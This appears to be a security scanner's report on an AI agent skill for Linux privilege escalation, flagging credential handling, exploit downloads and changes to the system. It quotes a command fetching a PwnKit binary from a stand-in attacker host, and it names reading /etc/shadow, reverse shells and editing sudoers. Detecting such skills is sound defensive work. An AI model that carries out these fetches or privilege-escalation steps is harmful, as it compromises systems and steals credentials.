linux-sudo-suid-capabilities

HIGH W007: Insecure credential handling detected in skill instructions.

• Insecure credential handling detected (high risk: 1.00). The prompt explicitly instructs retrieval and reporting of sensitive secrets (e.g., reading /etc/shadow and SSH keys, using plaintext NEW_PASS, saving evidence files, and requiring "New credentials or tokens found" in the return summary), which forces the agent to handle and potentially output secret values verbatim.

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 1.00). These links are public exploit repositories (multiple GitHub repos for CVE-2021-3156/CVE-2021-4034/PwnKit and a direct http://ATTACKBOX:8080/pwnkit binary endpoint) which are untrusted sources distributing exploit code and binaries intended to achieve privilege escalation, making them high-risk for malware/misuse.

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). The document contains explicit, actionable exploitation techniques (privilege escalation, creating root users, SUID/CAP abuse, writing to /etc/passwd/sudoers, reading /etc/shadow and SSH keys, reverse shells and a kernel-module backdoor, remote code execution via pkexec/polkit, and covert exfiltration patterns) that are high-risk and can be directly abused as backdoors, for credential theft, persistence, and unauthorized data exfiltration outside of an authorized engagement.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 0.90). The skill explicitly instructs fetching and executing remote exploit code at runtime (e.g., wget http://ATTACKBOX:8080/pwnkit and git clone https://github.com/ly4k/PwnKit), so those URLs are runtime external dependencies that deliver code which is executed on the target.

MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 1.00). The prompt explicitly instructs the agent to perform privilege-escalation actions that modify system state (create privileged users, edit /etc/passwd or /etc/sudoers, copy /etc/shadow, set SUID bits, insmod kernel modules, exploit sudo/pkexec, change capabilities, etc.), which directly compromise the machine the agent runs on.